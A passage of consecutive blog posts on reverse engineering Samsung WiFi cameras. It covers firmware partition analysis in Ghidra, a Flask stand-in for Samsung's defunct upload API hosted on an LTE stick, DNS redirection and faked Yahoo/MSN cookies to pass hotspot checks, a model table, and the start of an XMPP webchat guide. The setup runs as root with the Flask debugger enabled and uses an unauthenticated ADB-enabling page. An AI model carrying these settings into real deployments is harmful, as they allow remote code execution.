The camera.bin is 77MB and features the SLP\x00 header known from the Samsung NX300. It's also mentioning the internal model name as "GALAXYU":

camera.bin: GALAXYU firmware 0.01 (D20D0LAHB01) with 5 partitions
           144    5523488   f68a86 ffffffff  vImage
       5523632       7356 ad4b0983 7fffffff  D4_IPL.bin
       5530988      63768 3d31ae89 65ffffff  D4_PNLBL.bin
       5594756    2051280 b8966d27 543fffff  uImage
       7646036   71565312 4c5a14bc 4321ffff  platform.img

The platform.img file contains a UBIFS root partition, and presumably vImage is used for upgrading the DRIMeIV firmware, and uImage is the standard kernel running on the camera SoC. The rootfs features "squeeze/sid" in /etc/debian_version, even though it's Tizen / Samsung Linux Platform. There is a 500KB /usr/bin/di-galaxyu-app that's probably responsible for camera operation as well as for talking to the Android CPU (The NX300 di-camera-app that actually implements the camera UI is 3.1MB).

Camera API

To actually use the camera, it needs to be exposed to the Android UI, which talks to the Linux kernel on the Android SoC, which probably talks to the Linux kernel on the DRIMeIV SoC, which runs di-galaxyu-app. There is probably some communication mechanism like SPI or I2C for configuration and signalling, and also a shared memory area to transmit high-bandwidth data (images and video streams).

Here we only get a brief overview of the components involved, further source reading and reverse engineering needs to be done to actually understand how the pieces fit together.

The Android side

On Android, the com.sec.android.app.camera app is responsible for camera handling. When it's started or switches to gallery mode, the screen briefly goes black, indicating that maybe the UI control is handed over to the DRIMeIV SoC?

The code for the camera app can be found in /system/app/SamsungCamera2_GalaxyNX.apk and /system/app/SamsungCamera2_GalaxyNX.odex and it needs to be deodexed in order to decompile the Java code.

There is an Exynos 4412 Linux source drop that also contains a DRIMeIV video driver. That driver references a set of resolutions going up to 20MP, which matches the Galaxy NX sensor specs. It is exposing a Video4Linux camera, and seems to be using SPI or I2C (based on an #ifdef) to talk to the actual DRIMeIV processor.

The DRIMeIV side

On the other end, the Galaxy NX source code dump contains the Linux kernel running on the DRIMeIV SoC, with a drivers/i2c/si2c_drime4.c file that registers a "Samsung Drime IV Slave I2C Driver", which also allocates a memory region for MMIO.

The closed-source di-galaxyu-app is referencing both SPI and I2C, and needs to be reverse-engineered.

(*) Galaxy NX photo (C) Samsung marketing material

From 2009 to 2014, Samsung released dozens of camera models and even some camcorders with built-in WiFi and a feature to upload photos and videos to social media, using Samsung's Social Network Services (SNS). That service was discontinued in 2021, leaving the cameras disconnected.

We are bringing a reverse-engineered API implementation of the SNS to a 20$ LTE modem stick in order to email or publish our photos to Mastodon on the go.

Social Network Services (SNS) API

The SNS API is a set of HTTP endpoints consuming and returning XML-like messages (the sent XML is malformed, and the received data is not syntax-checked by the strstr() based parser). It is used by all Samsung WiFi cameras created between 2011 and 2014, and allows to proxy-upload photos and videos to a series of social media services (Facebook, Picasa, Flickr, YouTube, ...).

It is built on plain-text HTTP, and uses either OAuth or a broken, hand-rolled encryption scheme to "protect" the user's social media credentials.

As the original servers have been shutdown, the only way to re-create the API is to reverse engineer the client code located in various cameras' firmware (NX300, WB850F, HMX-QF30) and old packet traces.

Luckily, the lack of HTTPS and the vulnerable encryption mean that we can easily redirect the camera's traffic to our re-implementation API. On the other hand, we do not want to force the user to send their credentials over the insecure channel, and therefore will store them in the API bridge instead.

The re-implementation is written in Python on top of Flask, and needs to work around a few protocol-violating bugs on the camera side.

Deployment

The SNS bridge needs to be reachable by the camera, and we need to DNS-redirect the original Samsung API hostnames to it. It can be hosted on a free VPS, but then we still need to do the DNS trickery on the WiFi side.

When on the go, you also need to have a mobile-backed WiFi hotspot. Unfortunately, redirecting DNS for individual hostnames on stock Android is hard, you can merely change the DNS server to one under your control. But then you need to add a VPN tunnel or host a public DNS resolver, and those will become DDoS reflectors very fast.

The 20$ LTE stick

Luckily, there is an exciting dongle that will give us all three features: a configurable WiFi hotspot, an LTE uplink, and enough power to run the samsung-nx-emailservice right on it: Hackable $20 modem combines LTE and PI Zero W2 power.

It also has the bonus of limiting access to the insecure SNS API to the local WiFi hotspot network.

Initial Configuration

There is an excellent step-by-step guide to install Debian that I will not repeat here.

On some devices, the original ADB-enabling trick does not work, but you can directly open the unauthenticated http://192.168.100.1/usbdebug.html page in the browser, and within a minute the stick will reboot with ADB enabled.

If you have the hardware revision UZ801 v3.x of the stick, you need to use a custom kernel + base image.

Please follow the above instructions to complete the Debian installation. You should be logged in as root@openstick now for the next steps.

The openstick will support adb shell, USB RNDIS and WiFi to access it, but for the cameras it needs to expose a WiFi hotspot. You can create a NetworkManager-based hotspot using nmcli or by other means as appropriate for you.

Installing samsung-nx-emailservice

We need git, Python 3 and its venv module to get started, install the source, and patch werkzeug to compensate for Samsung's broken client implementation:

apt install --no-install-recommends git python3-venv virtualenv
git clone https://github.com/ge0rg/samsung-nx-emailservice
cd samsung-nx-emailservice
python3 -m venv venv
source ./venv/bin/activate
pip3 install -r requirements.txt
# the patch is for python 3.8, we have python 3.9
cd venv/lib/python3.9/
patch -p4 < ../../../flask-3.diff
cd -
python3 samsungserver.py

By default, this will open an HTTP server on port :8080 on all IP addresses of the openstick. You can verify that by connecting to http://192.168.68.1:8080/ on the USB interface. You should see this page:

We need to change the port to 80, and ideally we should not expose the service to the LTE side of things, so we have to obtain the WiFi hotspot's IP address using ip addr show wlan0:

11: wlan0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
    link/ether 02:00:a1:61:c7:3a brd ff:ff:ff:ff:ff:ff
    inet 192.168.79.1/24 brd 192.168.79.255 scope global noprefixroute wlan0
       valid_lft forever preferred_lft forever
    inet6 fe80::a1ff:fe61:c73a/64 scope link 
       valid_lft forever preferred_lft forever

Accordingly, we edit samsungserver.py and change the code at the end of the file to bind to 192.168.79.1 on port 80:

if __name__ == '__main__':
    app.run(debug = True, host='192.168.79.1', port=80)

We need to change config.toml and enter our "whitelisted" sender addresses, as well as the email and Mastodon credentials there. To obtain a Mastodon access token from your instance, you need to register a new application.

Automatic startup with systemd

We also create a systemd service file called samsung-nx-email.service in /etc/systemd/system/ so that the service will be started automatically:

[Unit]
Description=Samsung NX API
After=syslog.target network.target

[Service]
Type=simple
WorkingDirectory=/root/samsung-nx-emailservice
ExecStart=/root/samsung-nx-emailservice/venv/bin/python3 /root/samsung-nx-emailservice/samsungserver.py
Restart=on-abort
StandardOutput=journal

[Install]
WantedBy=multi-user.target

After that, we load, start, and activate it for auto-start:

systemctl daemon-reload
systemctl enable samsung-nx-email.service
systemctl start samsung-nx-email.service

Using journalctl -fu samsung-nx-email we can verify that everything is working:

Jul 05 10:01:38 openstick systemd[1]: Started Samsung NX API.
Jul 05 10:01:38 openstick python3[2229382]:  * Serving Flask app 'samsungserver'
Jul 05 10:01:38 openstick python3[2229382]:  * Debug mode: on
Jul 05 10:01:38 openstick python3[2229382]: WARNING: This is a development server. Do not use it in a production deployment. Use a production WSGI server instead.
Jul 05 10:01:38 openstick python3[2229382]:  * Running on http://192.168.79.1:80
Jul 05 10:01:38 openstick python3[2229382]: Press CTRL+C to quit
Jul 05 10:01:38 openstick python3[2229382]:  * Restarting with stat
Jul 05 10:01:39 openstick python3[2229388]:  * Debugger is active!
Jul 05 10:01:39 openstick python3[2229388]:  * Debugger PIN: 123-456-789

Security warning: this is not secure!

WARNING: This is a development server. [...]

Yes, this straight-forward deployment relying on python's built-in WSGI is not meant for production, which is why we limit it to our private WiFi.

Furthermore, the API implementation is not performing authentication beyond checking the address againts the SENDERS variable. Given that transmissions are in plain-text, enforcing passwords could backfire on the user.

Redirecting DNS

By default, the Samsung cameras will attempt to connect a few servers via HTTP to find out if they are on a captive portal hotspot and to interact with the social media. The full list of hosts can be found in the project README.

As we are using NetworkManager for the hotspot, and it uses dnsmasq internally, we can use dnsmasq's config syntax and create an additional config file /etc/NetworkManager/dnsmasq-shared.d/00-samsung-nx.conf that will map all relevant addresses to the hotspot's IP address:

address=/snsgw.samsungmobile.com/192.168.79.1
address=/gld.samsungosp.com/192.168.79.1
address=/www.samsungimaging.com/192.168.79.1
address=/www.ospserver.net/192.168.79.1
address=/www.yahoo.co.kr/192.168.79.1
address=/www.msn.com/192.168.79.1

After a reboot, we should be up and running, and can connect from the camera to the WiFi hotspot to send our pictures.

Hotspot detection strikes again

The really old models (ST1000/CL65, SH100) will mis-detect a private IP for the Samsung service as a captive hotspot portal and give you this cryptic error message:

Certification is needed from the Access Point. Connection cannot be made at this time. Call ISP for further details

If you see this message, you need to trick the camera to use a non-private IP address, which is by Samsung's standard one that doesn't begin with 192.168.

You can change the hotspot config in /etc/NetworkManager/system-connections to use a different RFC 1918 range from 10.0.0.0/8 or 172.16.0.0/12, or you can band-aid around the issue by dice-rolling a random IP from those ranges that you don't need to access (e.g. 10.23.42.99), to return it from 00-samsung-nx.conf and to use iptables to redirect HTTP traffic going to that address to the local SNS API instead:

iptables -t nat -A PREROUTING -p tcp -d 10.23.42.99 --dport 80 -j DNAT --to-destination 192.168.79.1:8080

This will prevent you from accessing 10.23.42.99 on your ISP's network via HTTP, which is probably not a huge loss.

You can persist that rule over reboots by storing it in /etc/iptables/rules.v4.

Demo

This is how the finished pipeline looks in practice (the whole sequence is 3 minutes, shortened and accelerated for brevity):

And here's the resulting post:

Samsung's WB850F compact camera was the first model to combine the DRIMeIII SoC with WiFi. Together with the EX2F it features an uncompressed firmware binary where Samsung helpfully added a partialImage.o.map file with a full linker dump and all symbol names into the firmware ZIP. We are using this gift to reverse-engineer the main SoC firmware, so that we can make it pass the WiFi hotspot detection and use samsung-nx-emailservice.

This is a follow-up to the Samsung WiFi cameras article and part of the Samsung NX series.

WB850F_FW_210086.zip - the outer container

The WB850F is one of the few models where Samsung still publishes firmware and support files after discontinuing the iLauncher application.

The WB850F_FW_210086.zip archive we can get there contains quite a few files (as identified by file):

GPS_FW/BASEBAND_FW_Flash.mbin: data
GPS_FW/BASEBAND_FW_Ram.mbin:   data
GPS_FW/Config.BIN:             data
GPS_FW/flashBurner.mbin:       data
FWUP:                          ASCII text, with CRLF line terminators
partialImage.o.map:            ASCII text
WB850-FW-SR-210086.bin:        data
wb850f_adj.txt:                ASCII text, with CRLF line terminators

The FWUP file just contains the string upgrade all which is a script for the firmware testing/automation module. The wb850f_adj.txt file is a similar but more complex script to upgrade the GPS firmware and delete the respective files. Let's skip the GPS-related script and GPS_FW folder for now.

partialImage.o.map - the linker dump

The partialImage.o.map is a text file with >300k lines, containing the linker output for partialImage.o, including a full memory map of the linked file:

output          input           virtual
section         section         address         size     file

.text                           00000000        01301444
                .text           00000000        000001a4 sysALib.o
                             $a 00000000        00000000
                        sysInit 00000000        00000000
                   L$_Good_Boot 00000090        00000000
                    archPwrDown 00000094   00000000
...
           DevHTTPResponseStart 00321a84        000002a4
            DevHTTPResponseData 00321d28        00000100
             DevHTTPResponseEnd 00321e28        00000170
...
.data                           00000000        004ed40c
                .data           00000000        00000874 sysLib.o
                         sysBus 00000000        00000004
                         sysCpu 00000004        00000004 
                    sysBootLine 00000008        00000004

This goes on and on and on, and it's a real treasure map! Now we just need to find the island that it belongs to.

WB850-FW-SR-210086.bin - header analysis

Looking into WB850-FW-SR-210086.bin with binwalk yields a long list of file headers (HTML, PNG, JPEG, ...), a VxWorks header, quite a number of Unix paths, but nothing that looks like partitions or filesystems.

Let's hex-dump the first kilobyte instead:

00000000: 3231 3030 3836 0006 4657 5f55 502f 4f4e  210086..FW_UP/ON
00000010: 424c 312e 6269 6e00 0000 0000 0000 0000  BL1.bin.........
00000020: 0000 0000 0000 0000 c400 0000 0008 0000  ................
00000030: 4f4e 424c 3100 0000 0000 0000 0000 0000  ONBL1...........
00000040: 0000 0000 4657 5f55 502f 4f4e 424c 322e  ....FW_UP/ONBL2.
00000050: 6269 6e00 0000 0000 0000 0000 0000 0000  bin.............
00000060: 0000 0000 30b6 0000 c408 0000 4f4e 424c  ....0.......ONBL
00000070: 3200 0000 0000 0000 0000 0000 0000 0000  2...............
00000080: 5b57 4238 3530 5d44 5343 5f35 4b45 595f  [WB850]DSC_5KEY_
00000090: 5742 3835 3000 0000 0000 0000 0000 0000  WB850...........
000000a0: 38f4 d101 f4be 0000 4d61 696e 5f49 6d61  8.......Main_Ima
000000b0: 6765 0000 0000 0000 0000 0000 526f 6d46  ge..........RomF
000000c0: 532f 5350 4944 2e52 6f6d 0000 0000 0000  S/SPID.Rom......
000000d0: 0000 0000 0000 0000 0000 0000 00ac f402  ................
000000e0: 2cb3 d201 5265 736f 7572 6365 0000 0000  ,...Resource....
000000f0: 0000 0000 0000 0000 4657 5f55 502f 5742  ........FW_UP/WB
00000100: 3835 302e 4845 5800 0000 0000 0000 0000  850.HEX.........
00000110: 0000 0000 0000 0000 864d 0000 2c5f c704  .........M..,_..
00000120: 4f49 5300 0000 0000 0000 0000 0000 0000  OIS.............
00000130: 0000 0000 4657 5f55 502f 736b 696e 2e62  ....FW_UP/skin.b
00000140: 696e 0000 0000 0000 0000 0000 0000 0000  in..............
00000150: 0000 0000 48d0 2f02 b2ac c704 534b 494e  ....H./.....SKIN
00000160: 0000 0000 0000 0000 0000 0000 0000 0000  ................
*
000003f0: 0000 0000 0000 0000 0000 0000 5041 5254  ............PART

This looks very interesting. It starts with the firmware version, 210086, then 0x00 0x06, directly followed by FW_UP/ONBL1.bin at the offset 0x008, which very much looks like a file name. The next file name, FW_UP/ONBL2.bin comes at 0x044, so this is probably a 60-byte "partition" record:

00000008: 4657 5f55 502f 4f4e 424c 312e 6269 6e00  FW_UP/ONBL1.bin.
00000018: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000028: c400 0000 0008 0000 4f4e 424c 3100 0000  ........ONBL1...
00000038: 0000 0000 0000 0000 0000 0000            ............

After the file name, there is quite a bunch of zeroes (making up a 32-byte zero-padded string), followed by two little-endian integers 0xc4 and 0x800, followed by a 20-byte zero-padded string ONBL1, which is probably the respective partition name. After that, the next records of the same structure follow. The integers in the second record (ONBL2) are 0xb630 and 0x8c4, so we can assume the first number is the length, and the second one is the offset in the file (the offset of one record is always offset+length of the previous one).

In total, there are six records, so the 0x00 0x06 between the version string and the first record is probably a termination or pading byte for the firmware version and a one-byte number of partitions.

With this knowledge, we can reconstruct the partition table as follows:

Let's write a tool to extract DRIMeIII firmware partitions, and use it!

WB850-FW-SR-210086.bin - code and data partitions

The tool is extracting partitions based on their partition names, appending ".bin" respectively. Running file on the output is not very helpful:

ONBL1.bin:      data
ONBL2.bin:      data
Main_Image.bin: OpenPGP Secret Key
Resource.bin:   MIPSEB-LE MIPS-III ECOFF executable stripped - version 0.0
OIS.bin:        data
SKIN.bin:       data

• ONBL1 and ONBL2 are probably the stages 1 and 2 of the bootloader (as confirmed by a string in Main_Image: "BootLoader(ONBL1, ONBL2) Update Done").

• Main_Image is the actual firmware: the OpenPGP Secret Key is a false positive, binwalk -A reports quite a number of ARM function prologues in this file.

• Resource and SKIN are pretty large containers, maybe provided by the SoC manufacturer to "skin" the camera UI?

• OIS is not really hex as claimed by its file name, but it might be the firmware for a dedicated optical image stabilizer.

Of all these, Main_Image is the most interesting one.

Loading the code in Ghidra

The three partitions ONBL1, ONBL2 and Main_Image contain actual ARM code. A typical ARM firmware will contain the reset vector table at address 0x0000000 (usually the beginning of flash / ROM), which is a series of jump instructions. All three binaries however contain actual linear code at their respective beginning, so most probably they need to be re-mapped to some yet unknown address.

To find out how and why the camera is mis-detecting a hotspot, we need to:

1. Find the right memory address to map Main_Image to
2. Load the symbol names from partialImage.o.map into Ghidra
3. Find and analyze the function that is mis-firing the hotspot login

Loading and mapping Main_Image

By default, Ghidra will assume that the binary loads to address 0x0000000 and try to analyze it this way. To get the correct memory address, we need to find a function that accesses some known value from the binary using an absolute address. Given that there are 77k functions, we can start with something that's close to task #3, and search in the "Defined Strings" tab of Ghidra for "yahoo":

Excellent! Ghidra identified a few strings that look like an annoyed developer's printf debugging, probably from a function called DevHTTPResponseStart(), and it seems to be the function that checks whether the camera can properly access Yahoo, Google or Samsung:

0139f574    DevHTTPResponseStart: url=%s, handle=%x, status=%d\n, headers=%s\r\n
0139f5b8    DevHTTPResponseStart: This is YAHOO check !!!\r\n
0139f5f4    DevHTTPResponseStart: THIS IS GOOGLE/YAHOO/SAMSUNG PAGE!!!! 111\n\n\n
0139f638    DevHTTPResponseStart: 301/302/307! cannot find yahoo!  safapi_is_browser_framebuffer_on : %d , safapi_is_browser_authed(): %d  \r\n

According to partialImage.o.map, a function with that name actually exists at address 0x321a84, and Ghidra also found a function at 0x321a84. There are some more matching function offsets between the map and the binary, so we can assume that the .text addresses from the map file actually correspond 1:1 to Main_Image! We found the right island for our map!

Here's the beginning of that function:

bool FUN_00321a84(undefined4 param_1,ushort param_2,int param_3,int param_4) {
  /* snip variable declarations */
  FUN_0031daec(*(DAT_00321fd4 + 0x2c),DAT_00322034,param_3,param_1,param_2,param_4);
  FUN_0031daec(*(DAT_00321fd4 + 0x2c),DAT_00322038);
  FUN_00326f84(0x68);

It starts with two calls to FUN_0031daec() with different numbers of parameters - this smells very much of printf debugging again. According to the memory map, it's called opd_printf()! The first parameter is some sort of context / destination, and the second one must be a reference to the format string. The two DAT_ values are detected by Ghidra as 32-bit undefined values:

DAT_00322034:
    74 35 3a c1     undefined4 C13A3574h
DAT_00322038:
    b8 35 3a c1     undefined4 C13A35B8h

However, the respective last three digits match the "DevHTTPResponseStart: " debug strings encountered earlier:

• 0xc13a3574 - 0x0139f574 = 0xc0004000 (first format string with four parameters)
• 0xc13a35b8 - 0x0139f5b8 = 0xc0004000 (second format strings without parameters)

From that we can reasonably conclude that Main_Image needs to be loaded to the memory address 0xc0004000. This cannot be changed after the fact in Ghidra, so we need to remove the binary from the project, re-import it, and set the base address accordingly:

Loading function names from partialImage.o.map

Ghidra has a script to bulk-import data labels and function names from a text table, ImportSymbolScript.py. It expects each line to contain three variables, separated by arbitrary amounts of whitespace (as determined by python's string.split()):

1. symbol name
2. (hexadecimal) address
3. "f" for "function" or "l" for "label"

Our symbol map contains multiple sections, but we are only interested in the functions defined in .text (for now), which are mapped 1:1 to addresses in Main_Image. Besides of function names, it also contains empty lines, object file offsets (with .text as the label), labels (prefixed with "L$_") and local symbols (prefixed with "$").

We need to limit our symbols to the .text section (everything after .text and before .debug_frame), get rid of the empty lines and non-functions, then add 0xc0004000 to each address so that we match up with the base address in Ghidra. We can do this very obscurely with an awk one-liner:

awk '/^\.text /{t=1;next}/^\.debug_frame /{t=0} ; !/[$.]/ { if (t && $1) { printf "%s %x f\n", $1, (strtonum("0x"$2)+0xc0004000) } }'

Or slightly less obscurely with a much slower shell loop:

sed '1,/^\.text /d;/^\.debug_frame /,$d' | grep -v '^$' | grep -v '[.$]' | \
while read sym addr f ; do
    printf "%s %x f\n"  $sym $((0xc0004000 + 0x$addr))
done

Both will generate the same output that can be loaded into Ghidra via "Window" / "Script Manager" / "ImportSymbolsScript.py":

sysInit c0004000 f
archPwrDown c0004094 f
MMU_WriteControlReg c00040a4 f
MMU_WritePageTableBaseReg c00040b8 f
MMU_WriteDomainAccessReg c00040d0 f
...

Reverse engineering DevHTTPResponseStart

Now that we have the function names in place, we need to manually set the type of quite a few DAT_ fields to "pointer", rename the parameters according to the debug string, and we get a reasonably usable decompiler output.

The following is a commented version, edited for better readability (inlined the string references, rewrote some conditionals):

bool DevHTTPResponseStart(undefined4 handle,ushort status,char *url,char *headers) {
  bool result;
  
  opd_printf(ctx,"DevHTTPResponseStart: url=%s, handle=%x, status=%d\n, headers=%s\r\n",
      url,handle,status,headers);
  opd_printf(ctx,"DevHTTPResponseStart: This is YAHOO check !!!\r\n");
  safnotify_page_load_status(0x68);
  if ((url == NULL) || (status != 301 && status != 302 && status != 307)) {
    /* this is not a HTTP redirect */
    if (status == 200) {
      /* HTTP 200 means OK */
      if (headers == NULL ||
          (strstr(headers,"domain=.yahoo") == NULL &&
           strstr(headers,"Domain=.yahoo") == NULL &&
           strstr(headers,"domain=kr.yahoo") == NULL &&
           strstr(headers,"Domain=kr.yahoo") == NULL)) {
        /* no response headers or no yahoo cookie --> check fails! */
        result = true;
      } else {
        /* we found a yahoo cookie bit in the headers */
        opd_printf(ctx,"DevHTTPResponseData: THIS IS GOOGLE/YAHOO PAGE!!!! 3333\n\n\n");
        *p_request_ongoing = 0;
        if (!safapi_is_browser_authed())
          safnotify_auth_ap(0);
        result = false;
      }
    } else if (status < 0) {
      /* negative status = aborted? */
      result = false;
    } else {
      /* positive status, not a redirect, not "OK" */
      result = !safapi_is_browser_framebuffer_on();
    }
  } else {
    /* this is a HTTP redirect */
    char *match = strstr(url,"yahoo.");
    if (match == NULL || match > (url+11)) {
      opd_printf(ctx, "DevHTTPResponseStart: 301/302/307! cannot find yahoo! safapi_is_browser_framebuffer_on : %d , safapi_is_browser_authed(): %d  \r\n",
          safapi_is_browser_framebuffer_on(), safapi_is_browser_authed());
      if (!safapi_is_browser_framebuffer_on() && !safapi_is_browser_authed()) {
        opd_printf(ctx,"DevHTTPResponseStart: 302 auth failed!!! kSAFAPIAuthErrNotAuth!! \r\n");
        safnotify_auth_ap(1);
      }
      result = false;
    } else {
      /* found "yahoo." in url */
      opd_printf(ctx, "DevHTTPResponseStart: THIS IS GOOGLE/YAHOO/SAMSUNG PAGE!!!! 111\n\n\n");
      *p_request_ongoing = 0;
      if (!safapi_is_browser_authed())
        safnotify_auth_ap(0);
      result = false;
    }
  }
  return result;
}

Interpreting the hotspot detection

So to summarize, the code in DevHTTPResponseStart will check for one of two conditions and call safnotify_auth_ap(0) to mark the WiFi access point as authenticated:

1. on a HTTP 200 OK response, the server must set a cookie on the domain ".yahoo.something" or "kr.yahoo.something"

2. on a HTTP 301/302/307 redirect, the URL (presumably the redirect location?) must contain "yahoo." close to its beginning.

If we manually contact the queried URL, http://www.yahoo.co.kr/, it will redirect us to https://www.yahoo.com/, so everything is fine?

GET / HTTP/1.1
Host: www.yahoo.co.kr

HTTP/1.1 301 Moved Permanently
Location: https://www.yahoo.com/

Well, the substring "yahoo." is on position 12 in the url "https://www.yahoo.com/", but the code is requiring it to be in one of the first 11 positions. This check has been killed by TLS!

To pass the hotspot check, we must unwind ten years of HTTPS-everywhere, or point the DNS record to a different server that will either HTTP-redirect to a different, more yahooey name, or set a cookie on the yahoo domain.

After patching samsung-nx-emailservice accordingly, the camera will actually connect and upload photos:

Summary: the real treasure

This deep-dive allowed to understand and circumvent the hotspot detection in Samsung's WB850F WiFi camera based on one reverse-engineered function. The resulting patch was tiny, but guessing the workaround just from the packet traces was impossible due to the "detection method" implemented by Samsung's engineers. Once knowing what to look for, the same workaround was applied to cameras asking for MSN.com, thus also adding EX2F, ST200F, WB3xF and WB1100F to the supported cameras list.

However, the real treasure is still waiting! Main_Image contains over 77k functions, so there is more than enough for a curious treasure hunter to explore in order to better understand how digital cameras work.

Discuss on Mastodon

Starting in 2009, Samsung has created a wide range of compact cameras with built-in WiFi support, spread over multiple product lines. This is a reference and data collection of those cameras, with the goal to understand their WiFi functionality, and to implement image uploads on the go.

This is a follow-up to the Samsung NX mirrorless archaeology article, which also covers the Android-based compact cameras.

If you are in Europe and can donate one of the "untested" models, please let me know!

Model Line Overview

Samsung created a mind-boggling number of different compact cameras over the years, apparently with different teams working on different form factors and specification targets. They were grouped into product lines, of which only a few were officially explained:

• DV: DualView (with a second LCD on the front side for selfies)
• ES: unknown, no WiFi
• EX: high-end compact (maybe "expert"?)
• NV: New Vision, no WiFi
• MV: MultiView
• PL: unknown, no WiFi
• SH: unknown
• ST: Style feature
• WB: long-zoom models

Quite a few of those model ranges also featured cameras with a WiFi controller, allowing to upload pictures to social media or send them via email. For the WiFi-enabled cameras, Samsung has been using two different SoC brands, with multiple generations each:

1. Zoran COACH ("Camera On A CHip") based on a MIPS CPU.

2. DRIM engine ("Digital Real Image & Movie Engine") ARM CPU, based on the Milbeaut (later Fujitsu) SoC.

WiFi Cameras

This table should contain all Samsung compacts with WiFi (I did quite a comprehensive search of everything they released since 2009). It is ordered by SoC type and release date:

Legend:

• ✔️ = works with samsung-nx-emailservice.
• ✔️ Yahoo/MSN = works with a respective cookie response.
• ❌ hotspot = camera mis-detects a hotspot with a login requirement, opens browser.
• 🤷 WB220F = there is a strange issue with the number of email attachments
• untested = I wasn't (yet) able to obtain this model. Donations are highly welcome.
• pending = I'm hopefully going to receive this model soon.
• (*) the ST200F failed with the 1203294 firmware but worked after the upgrade
• (**) the WB31F failed with the 1411221 firmware but worked after the downgrade to the WB30F firmware 1310151! to 1303204.
• "N/A" for firmware means, there are no known downloads / mirrors since Samsung disabled iLauncher.
• "fw. ???" means that the firmware version could not be found out due to lack of a service manual.

There are also quite a few similarly named cameras that do not have WiFi:

• DV300/DV305 (without the F)
• ST200 (no F)
• WB100, WB150, WB210, WB500, WB600, WB650, WB700, WB750, WB1000 and WB2100 (again, no F)

Hotspot Detection Mode

Most of the cameras only do a HTTP GET request for http://gld.samsungosp.com (shut down in 2021) before failing into a browser. This is supposed to help you login in a WiFi hotspot so that you can proceed to the upload.

Redirecting the DNS for gld.samsungosp.com to my own server and feeding back a HTTP 200 with the body "200 OK", as documented in 2013 doesn't help to make it pass the detection.

There is nothing obvious in the PCAP that would indicate what is going wrong there, and blindly providing different HTTP responses only goes this far.

Brief Firmware Analysis

Samsung used to provide firmware through the iLauncher PC application, which downloaded them from samsungmobile.com. The download service was discontinued in 2021 as well. Most camera models never had alternative firmware download locations, so suddenly it's impossible to get firmware files for them. Thanks, Samsung.

The alternative download locations that I could find are documented in the firmware table above.

Obviously, the ZORAN and the DRIMe models have different firmware structure. The ZORAN firmware files are called <model>-DSP-<version>-full.elf but are not actually ELF files. Luckily, @jam1garner already analyzed the WB35F firmware and created tools to dissect the ELFs. Unfortunately, none of the inner ELFs seem to contain any strings matching the social media upload APIs known from reverse-engineering the upload API. Also the MIPS disassembler seems to be misbehaving for some reason, detecting all addresses as 0x0:

int DevHTTPResponseData(int param_1,int param_2,int param_3)
{
  /* snip variables */
  if (uRam00000000 != 0) {
    (*(code *)0x0)(0,param_1);
  }
  (*(code *)0x0)(0,param_1,param_3);
  if (uRam00000000 != 1) {
    (*(code *)0x0)(param_2,param_3);
    ...

The DRIMe firmware files follow different conventions. WB850F and EX2F images are uncompressed multi-partition files that are analyzed in the WB850F reverse engineering blog post.

All other DRIMe models have compressed DATA<model>.bin files like the NX mini, where an anlysis of the bootloader / compression mechanism needs to be performed prior to analyzing the actual network stack.

Yahoo! Hotspot Detection

Some models (at least the ST200F and the WB850F) will try to connect to http://www.yahoo.co.kr/ instead of the Samsung server. The WB1100F will load http://www.msn.com/. Today, these sites will redirect to HTTPS, but the 2012 cameras won't manage modern TLS Root CAs and encryption, so they will fail instead:

Redirecting the Yahoo hostname via DNS will also make them connect to our magic server, but it won't be detected as proper Yahoo!, showing the hotspot detector. Preliminary reverse engineering of the uncompressed WB850F firmware shows that the code checks for the presence of the string domain=.yahoo in the response (headers). This is normally a part of a cookie set by the server, which we can emulate to pass the hotspot check. Similarly, it's possible to send back a cookie for domain=.msn.com to pass the WB1100F check.

Screw the CORK

The Zoran models have a very fragile TCP stack. It's so fragile that it won't process an HTTP response served in two separate TCP segments (TCP is a byte stream, fragmentation into segments should be fully abstracted from the application). To find that out, the author had to compare the 2014 PCAP with the PCAPs from samsung-nx-emailservice line by line, and see that the latter will send the headers and the body in two TCP segments.

Luckily, TCP stacks offer an "optimization" where small payloads will be delayed by the sender's operating system, hoping that the application will add more data. On Linux, this is called TCP_CORK and can be activated on any connection. Testing it out of pure despair suddenly made at least the ST200F and the WB1100F work. Other cameras were only tested with this patch applied.

GPS Cameras

Of the WiFi enabled models, two cameras are also equipped with built-in GPS.

The ST1000 (also called CL65 in the USA), Samsung's first WiFi model, comes with GPS. It also contains a location database with the names of relevant towns / cities in its firmware, so it will show your current location on screen. Looks like places with more than ~10'000 inhabitants are listed. Obviously, the data is from 2009 as well.

The WB850F, a 2012 super-zoom, goes even further. You can download map files from Samsung for different parts of the world and install the maps on the SD card. It will show the location of taken photos as well, but not from the ones shot with the ST1000.

And it has a map renderer, and might even navigate you to POIs!

WiFi Camcorders

Yes, those are a thing as well. It's exceptionally hard to find any info on them. Samsung also created a large number of camcorders, but it looks like only three models came with WiFi.

From a glance at the available firmware files, they also have Linux SoCs inside, but they are not built around the known ZORAN or DRIMe chips.

The HMX-S10/S15/S16 firmware contains a number of S5PC110 string references, indicating that it's the Exynos 3110 1GHz smartphone CPU that also powered a number of Android phones.

The QF20 and QF30 again are based on the well-researched Ambarella A5s. The internet is full of reverse-engineering info on action cameras and drones based on Ambarella SoCs of all generations, including tools to disassemble and reassemble firmware images.

The QF30 is using a similar (but different!) API as the still cameras, but over SSL and without encrypting the sensitive XML elements, and does not accept the <Response> element yet.

Legend:

• ✔️ SSLv2 = sends request via SSLv2 to port 443, needs something like socat23

Discuss on Mastodon

The goal of this post is to make an easily accessible (anonymous) webchat for any chatrooms hosted on a prosody XMPP server, using the web client converse.js.

Motivation and prerequisites

There are two use cases:

1. Have an easily accessible default support room for users having trouble with the server or their accounts.

2. Have a working "Join using browser" button on search.jabber.network

This setup will require:

• A running prosody 0.12+ instance with a muc component (chat.yax.im in our example)

• The willingness to operate an anomyous login and to handle abuse coming from it (anon.yax.im)

• A web-server to host the static HTML and JavaScript for the webchat (https://yaxim.org/)

There are other places that describe how to set up a prosody server and a web server, so our focus is on configuring anonymous access and the webchat.

Prosody: BOSH / websockets

The web client needs to access the prosody instance over HTTPS. This can be accomplished either by using Bidirectional-streams Over Synchronous HTTP (BOSH) or the more modern WebSocket. We enable both mechanisms in prosody.cfg by adding the following two lines to the gloabl modules_enabled list, they can also be used by regular clients:

modules_enabled = {
    ...
    -- add HTTP modules:
    "bosh"; -- Enable BOSH access, aka "Jabber over HTTP"
    "websocket"; -- Modern XMPP over HTTP stream support
    ...
}

